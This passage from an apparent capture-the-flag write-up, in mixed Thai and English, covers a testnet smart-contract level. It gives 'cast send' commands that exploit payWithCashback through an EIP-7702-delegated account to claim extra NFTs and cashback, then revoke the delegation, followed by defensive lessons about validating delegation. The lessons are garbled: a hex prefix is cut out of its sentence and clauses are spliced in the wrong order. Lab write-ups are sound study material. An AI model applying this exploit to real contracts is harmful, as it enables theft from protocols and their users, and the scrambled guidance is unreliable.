ดําเนินการขั้นตอนสุดท้ายโดยเรียก payWithCashback ด้วยตัวเอง: cast send $YOUR_PLAYER_ADDRESS \ "payWithCashback(address,address,uint256)" \ 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE \ 0x03dcb79ee411fd94a701ba88351fef8f15b8f528 \ 1 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL You now own 2 NFTs and maximum cashback. Submit the level! และก่อนที่เราไปอย่าลืมที่จะถอนการส่งมอบ cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth 0x0000000000000000000000000000000000000000 What We've Learned 1. Validate delegation the right way. Always check the ผ่าน EIP-3541, ซึ่งห้ามใช้สัญญาที่มีบิตโค้ดเริ่มต้นด้วย 0xef, ข้อกําหนดนี้จะแยกแยะ EOA ที่ได้รับอนุญาตจากสัญญาที่ผิดกฎหมายได้อย่างน่าเชื่อถือ 0xef0100 2. Never store protocol-critical state inside an EOA. เจ้าของ EOA สามารถ delegate ไปยังสัญญาใด ๆ และสัญญาที่สามารถเขียนได้อย่างอิสระไปยังสล็อตเก็บข้อมูลเดียวกัน - รวมถึงผู้ที่คุณอาจคิดว่าเป็นส่วนตัว ทุกสถานะที่สําคัญด้านความปลอดภัยต้องอาศัยอยู่ใน . your protocol's storage